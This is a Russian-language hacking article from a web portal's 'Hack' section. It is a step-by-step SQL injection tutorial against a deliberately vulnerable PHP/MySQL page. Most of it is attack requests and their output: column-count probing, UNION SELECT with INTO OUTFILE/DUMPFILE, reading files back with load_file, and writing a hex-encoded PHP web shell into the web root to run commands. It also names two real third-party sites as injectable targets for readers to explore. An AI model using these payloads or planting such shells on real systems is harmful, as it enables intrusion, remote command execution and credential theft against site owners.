Четверг, 30.01.2025, 19:43:1
Портал Mnogo-Malo
Регистрация Вход
Приветствую Вас, Новенький(ая) · RSS
 
Вход
Часы
Меню сайта
Опрос
Покупаете ли вы лицензионные программы или игры?
Всего ответов: 131
Статьи
Главная » Статьи » Программирование » Hack раздел

В гостях у админа. Ищем нестандартные лазейки.

Статья написанна хакером fraIzer

Привет всем! Сегодня я хочу поделиться с вами небольшими хитростями при проведении SQL инъекций. Делать будем всё сами, ручками. Что нам понадобится?!

[*]Apache Server
[*]Установленный PHP
[*]MySQL Server
[*]phpMyAdmin
[*]Ну и естественно прямые руки, куда же без них?!

Ну, можно начинать я полагаю. Ну, теперь будем создавать свой мего-сайтенг, его то мы и будем ломать. Создаём новый домен test.ru у себя на локалхосте. Создаём 2 файлика, один index.html, другой users.php. Содержимое index.html:

-----------------------------------------------------------------------------------------------------
<_html_>
<_head_>
<_title_>Мего-сайтенГГ<_/title_>
<_/head_>
<_body_>
<_center_> Мего-сайтенГГ

<_a href='http://test.ru/users.php?id=1'>Участники 1<_/a>
// думаю тут
всё ясно, мы переходим по линку, скрипту news.php передаётся параметр id,
который в свою очередь будет первичным ключом (идентификатор)
для вывода информации о нужном нам юзере из базы данных
---------------

<_a href='http://test.ru/users.php?id=2'>Участники 2<_/a>
// аналогично,
выводим пользователя с идентификатором равным двум
---------------

<_a href='http://test.ru/users.php?id=3'>Участники 3<_/a>
// надеюсь тут
сами разберётесь xDD
<_/body_>
<_/html_>
-----------------------------------------------------------------------------------------------------

Страница набросана для наглядности, ведь нам важен сам принцип, а не эстетические соображения! Содержимое users.php:

-----------------------------------------------------------------------------------------------------
mysql_connect('localhost','root','');
mysql_select_db('dvwa');
$id=$_GET["id"];
$sql = "SELECT first_name,user,password FROM users where user_id=".$id;
$result = MySQL_QUERY($sql);
echo mysql_error();
while($us = MySQL_FETCH_ARRAY($result))
{
echo $us['first_name'].":".$us['user'].":".$us['password'];echo "
";
}
?>
-----------------------------------------------------------------------------------------------------

Скрипт так же накидал для наглядности на примере своей БД. Вкратце, опишу принцип действия, скрипт делает выборку из БД, из таблицы users по заданному id. Ну что ж, всё необходимое у нас есть, приступаем. Заходим на индэкс нашего сайта test.ru, чекаем по любой из линок. Видим наш запросик в адресной строке: _ttp://test.ru/users.php?id=1. Идём дальше. Банальные скули, мы сегодня рассматривать не будем. Рассмотрим следующую ситуацию, иногда бывает, что количество столбцов в основном запросе и не основном не совпадает, в результате чего мы лишаемся, возможности лицезреть вывод, так как при попытке объединить запросы оператором union+select мускул выдаёт соответствующую ошибку: MySQL ERROR: The used SELECT statements have a different number of columns. Казалось бы, очень печальное стечение обстоятельств, вроде и скулю на руках имеем, а ничего толкового сделать не можем, но это только на первый взгляд, давайте осмотримся и подумаем. При определённых условиях вывод получить тут не так уж и сложно. Ну, давайте, пожалуй, с самого начала. Первое что приходит на ум это blind SQL, да блайнд прокатит и благо есть проги для автоматизации процесса посимвольного перебора, но опять же при больших объёмах БД это займёт уйму времени, которого нам и без того постоянно не хватает. Да и потом если на сервере стоит ограничение на количество запросов с одного IP адреса?! Идея дальнейшего исследования: а что если сделать вывод в файл?! Да идея не плоха, но опять же нужно соблюдение некоторых условий, а конкретно:

File_priv = Y
magic_quotes_gpc = Off

Если у вас magic_quotes_gpc установлено значение On, то бегом бежим и правим php.ini. Ну, теперь у нас есть всё необходимое, приступаем.

_ttp://test.ru/users.php?id=1'

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in Z:/home/test.ru/www/users.php on line 8

На лицо инъекция, что не удивительно, ведь мы в скрипте ничего не фильтровали. Подберём количество полей. Сделаем это одним запросом, способом предложенным Iceangel_:

_ttp://test.ru/users.php?id=1 order by 1,2,3,4,5,6,7,8,9

Unknown column '4' in 'order clause'
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in Z:/home/test.ru/www/users.php on line 8

Делаем вывод, что полей 3. Ну и объединяем соответственно запросы:

_ttp://test.ru/users.php?id=-1 union select 1,2,3

Видим принтабельные поля: 1:2:3. О них можно забыть :) учитываю ситуацию, которую мы обыгрываем. Давайте-ка лучше сделаем вывод в файл. Тут сразу возникает вопрос, где же взять папку доступную на запись?! В принципе пути у нас есть и не составит труда методом научного тыка найти нужную нам, но ведь может и так оказаться, что не одна из них не окажется доступной на запись, поэтому вспоминаем про /tmp диру (дира для хранения временных файлов), так как чаще всего она доступна на запись, бывает, конечно же, и наоборот, но это редкость. Принцип ясен, действуем:

_ttp://test.ru/users.php?id=-1 union select 1,version(),3 into outfile '/tmp/lol.txt'

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in Z:/home/test.ru/www/users.php on line 8

Ошибку видим, но запрос выполнился, кстати, чуть не забыл, принтабельные нам в данной ситуации не нужны вовсе, так как в файло записываются все поля. Теперь считываем вывод:

_ttp://test.ru/users.php?id=-1 union select load_file('/tmp/lol.txt'),2,3

1 5.0.45-community-nt 3 :2:3 – пятая ветка, думаю сам принцип ясен, кстати при наличии таких условий залить шелл, как 2 пальца об асфальт! Что нам мешает найти диру доступную на запись и залить туда полноценный шелл?! Давайте попробуем:

_ttp://test.ru/users.php?id=-1 union select '',2,3 into dumpfile 'Z:/home/test.ru/www/shell.php'

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '']); ?>',2,3 into dumpfile 'Z:/home/test.ru/www/shell.php'' at line 1
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in Z:/home/test.ru/www/users.php on line 8

Ошибка, но не смертельно :) Захексим: и получаем: 0x3c3f7068702073797374656d28245f4745545b5c27636d645c275d293b203f3e. Составляем запрос:

_ttp://test.ru/users.php?id=-1 union select 0x3c3f7068702073797374656d28245f4745545b5c27636d645c275d293b203f3e,2,3 into dumpfile 'Z:/home/test.ru/www/shell.php'

Всё наш шелл залился, юзаем на здоровье:

_ttp://test.ru/shell.php?cmd=dir

Видим листинг папки, всё прошло на ура. Реальный пример с такого рода проблемой:

_ttp://spotters.net.ua/file/?id=5'

MySQL ERROR: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
SQL: select *, COALESCE(rating, 2.0, rating) + Views*0.001 as WeightedRating from files where ID=5'

_ttp://www.scilib.debryansk.ru/project.php?id=920'

ERROR=>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
SELECT * FROM particle where particleid=920'

Кому будет интересно, покопает на досуге. Сразу видно из вывода об ошибке, что в обоих случаях magic_quotes_gpc = ON, что не позволит нам сделать вывод в файл, примеры привел чисто для наглядности, чтобы представляли, как обстоит ситуация. Следующий вопрос, который мы обсудим, какую же конструкцию лучше использовать при выводе в файл INTO OUTFILE или всё же INTO DUMP FILE. Посоветовавшись со Scipio по данному вопросу (он порекомендовал мне использовать конструкцию INTO DUMPFILE, аргументируя это тем, что данная конструкция нужна для того, чтобы убрать конфликт win и *nix), я решил, что всё же лучше использовать для этих целей INTO DUMPFILE, но в процессе тестирования на локалхосте я столкнулся некоторой проблемой при использовании этой конструкции. INTO DUMPFILE не позволяет выводить в файл более чем одну запись, иначе мускул начинает ругаться и как итог файл вообще не создаётся в дире. Немного поясню. В нашем случае такой запрос не прокатит:

_ttp://test.ru/users.php?id=1 union select 1,2,concat_ws(0x3a3a3a,user,password) from dvwa.users INTO DUMPFILE '/tmp/1.txt'

Result consisted of more than one row
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in Z:/home/test.ru/www/users.php on line 8

Зато такой запрос проскочит на ура:

_ttp://test.ru/users.php?id=1 union select 1,2,concat_ws(0x3a3a3a,user,password) from dvwa.users LIMIT 1 OFFSET 1 INTO DUMPFILE '/tmp/1.txt'

Глянем, что у нас там получилось:

_ttp://test.ru/users.php?id=-1 union select load_file('/tmp/1.txt'),2,3

12admin:5f4dcc3b5aa765d61d8327deb882cf99:2:3

Мда не густо, тут то нам и поможет конструкция INTO OUTFILE, она в отличии от предыдущей сделает вывод всех записей по которым осуществляем выборку, из нужной нам таблички! Делаем выводы господа, что обе конструкции хороши и имеют определённо свои плюсы, так что советую их использовать в зависимости от ситуации, естественно, если речь не идёт о конфликте между win и *nix, то предпочтительно использовать INTO OUTFILE.

С вами был fraIzer. Надеюсь, ты нашел в моей статье, что-то полезное для себя и не потратил время зря… Всем желаю удачи и творческих успехов.

See yet…

P.S. данная статья изначально подразумевается, как часть серии статей посвященных небольшим хитростям и тонкостям ремесла вэб-хакера. Посмотрю на ваши комментарии и уже решу, стоит ли продолжать, возможно дело того не стоит, а может и наоборот, в общем оставляйте побольше комментариев, буду рад конструктивной критике.


Источник: http://© fraIzer from GR TeaM HackZona.ru
Категория: Hack раздел | Добавил: Администратор (24.11.2010)  
Просмотров: 792 | Теги: SQL-injection и не только, hack, взлом | Рейтинг: 0.0/0

Всего комментариев: 0

Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Portal-mm © 2025
быстрый поиск
Связь
448800784
Набор модераторов
По всем вопросам писать в ICQ

Или в VK
Программы
Opera 11.00
Winrar 3.80 Full Rus
AIMP2 Version 2.5
K-Lite Codec Pack 4.4.5
Статистика

Online всего: 1
Не наших: 1
Наших: 0



Хостинг от uCoz